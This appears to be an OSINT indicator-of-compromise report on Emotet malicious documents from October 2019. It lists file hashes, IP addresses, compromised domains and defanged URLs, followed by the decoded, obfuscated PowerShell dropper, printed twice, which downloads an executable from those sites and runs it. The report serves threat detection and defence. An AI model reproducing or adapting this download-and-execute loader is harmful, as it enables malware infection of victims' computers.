Emotet_Doc_out_2019-10-09_22_14.txt

#Emotet #Docs #malware #OSINT #IOC

MD5:
04469ecb3f765955f82a93379acc2524
11c36b543e3e97c6680d435c320d4d67
21d208257e8f31ee15a3932667c68cd4
375846b79a13f123c26bdb86946cc64a
42341718bf29a12779f32a0acf7d7bcd
e5666d50036a170e531cc66bf36d277c
65742f9577704d7c979591348b733263
8a19585d708831afe179fabd1bc08bad
4f3063fbabd26cb3438a4a8c9c85a87c
8c4586bda7ad1334e13f34da54bc93a5
cfb022a24ff5f5e53b3ca65af95cb955
d106bdf1e942b1a93c30cc1bd1b05fcb
e1d2e9184df6b6a9ca2a86b611e082cc
f1212f1494b917465cf53d42447b17b5


IPs:
101.50.1.27
139.162.43.93
146.88.234.116
160.153.131.188
160.153.72.33
166.62.103.202
176.58.102.35
35.238.93.185
43.255.154.26
45.56.101.4


Domains:
boomenergyng.com
e-centricity.com
flowerbodysports.com
flyadriatic.co.nz
newagesl.com
stephporn.com
thehopeherbal.com
www.bundlesbyb.com
www.crookedchristicraddick.com
www.westburydentalcare.com


URLs:
hxxps://www.microsoft.com/ #> $b000532c400=
hxxp://stephporn.com/cgi-bin/oSWSyiKNzf/
hxxps://thehopeherbal.com/tropica/PAbLPQBS/
hxxps://e-centricity.com/css/zcnIdWUhbd/
hxxps://newagesl.com/cgi-bin/WEHqDwjwS/
hxxp://www.westburydentalcare.com/wp-content/hvg1k_1dr5cd-999/
hxxps://www.microsoft.com/ #> $b000532c400=
hxxp://stephporn.com/cgi-bin/oSWSyiKNzf/
hxxps://thehopeherbal.com/tropica/PAbLPQBS/
hxxps://e-centricity.com/css/zcnIdWUhbd/
hxxps://newagesl.com/cgi-bin/WEHqDwjwS/
hxxp://www.westburydentalcare.com/wp-content/hvg1k_1dr5cd-999/


Decoded Base64 Powershell:
<# hxxps://www.microsoft.com/ #> $b000532c400='b004494x456';
$c2574c24817 = '178';
$b7b47x300671c='b4703845100';
$c8168c84395=$env:userprofile+'\'+$c2574c24817+'.exe';
$x3273486252='c030c7500x029';
$c69c008420c=&('new-ob'+'je'+'ct') nEt.wEBCLIenT;
$b0504bcc6bc08='hxxp://stephporn.com/cgi-bin/oSWSyiKNzf/
hxxps://thehopeherbal.com/tropica/PAbLPQBS/
hxxps://e-centricity.com/css/zcnIdWUhbd/
hxxps://newagesl.com/cgi-bin/WEHqDwjwS/
hxxp://www.westburydentalcare.com/wp-content/hvg1k_1dr5cd-999/'."s`PlIT"('
');
$x0780x962x0='b1032704c48';
foreach($cbc7139x96b in $b0504bcc6bc08){try{$c69c008420c."dOW`NLo`AdFi`Le"($cbc7139x96b, $c8168c84395);
$xc2338c44407='c5b020147b70b';
If ((&('G'+'e'+'t-Item') $c8168c84395)."leN`g`TH" -ge 26538) {[Diagnostics.Process]::"Sta`Rt"($c8168c84395);
$b03397108170c='c7000b74640';
break;
$c3606400230='xbb22200041'}}catch{}}$c06000x0c3903='x610780522b80'<# hxxps://www.microsoft.com/ #> $b000532c400='b004494x456';
$c2574c24817 = '178';
$b7b47x300671c='b4703845100';
$c8168c84395=$env:userprofile+'\'+$c2574c24817+'.exe';
$x3273486252='c030c7500x029';
$c69c008420c=&('new-ob'+'je'+'ct') nEt.wEBCLIenT;
$b0504bcc6bc08='hxxp://stephporn.com/cgi-bin/oSWSyiKNzf/
hxxps://thehopeherbal.com/tropica/PAbLPQBS/
hxxps://e-centricity.com/css/zcnIdWUhbd/
hxxps://newagesl.com/cgi-bin/WEHqDwjwS/
hxxp://www.westburydentalcare.com/wp-content/hvg1k_1dr5cd-999/'."s`PlIT"('
');
$x0780x962x0='b1032704c48';
foreach($cbc7139x96b in $b0504bcc6bc08){try{$c69c008420c."dOW`NLo`AdFi`Le"($cbc7139x96b, $c8168c84395);
$xc2338c44407='c5b020147b70b';
If ((&('G'+'e'+'t-Item') $c8168c84395)."leN`g`TH" -ge 26538) {[Diagnostics.Process]::"Sta`Rt"($c8168c84395);
$b03397108170c='c7000b74640';
break;
$c3606400230='xbb22200041'}}catch{}}$c06000x0c3903='x610780522b80'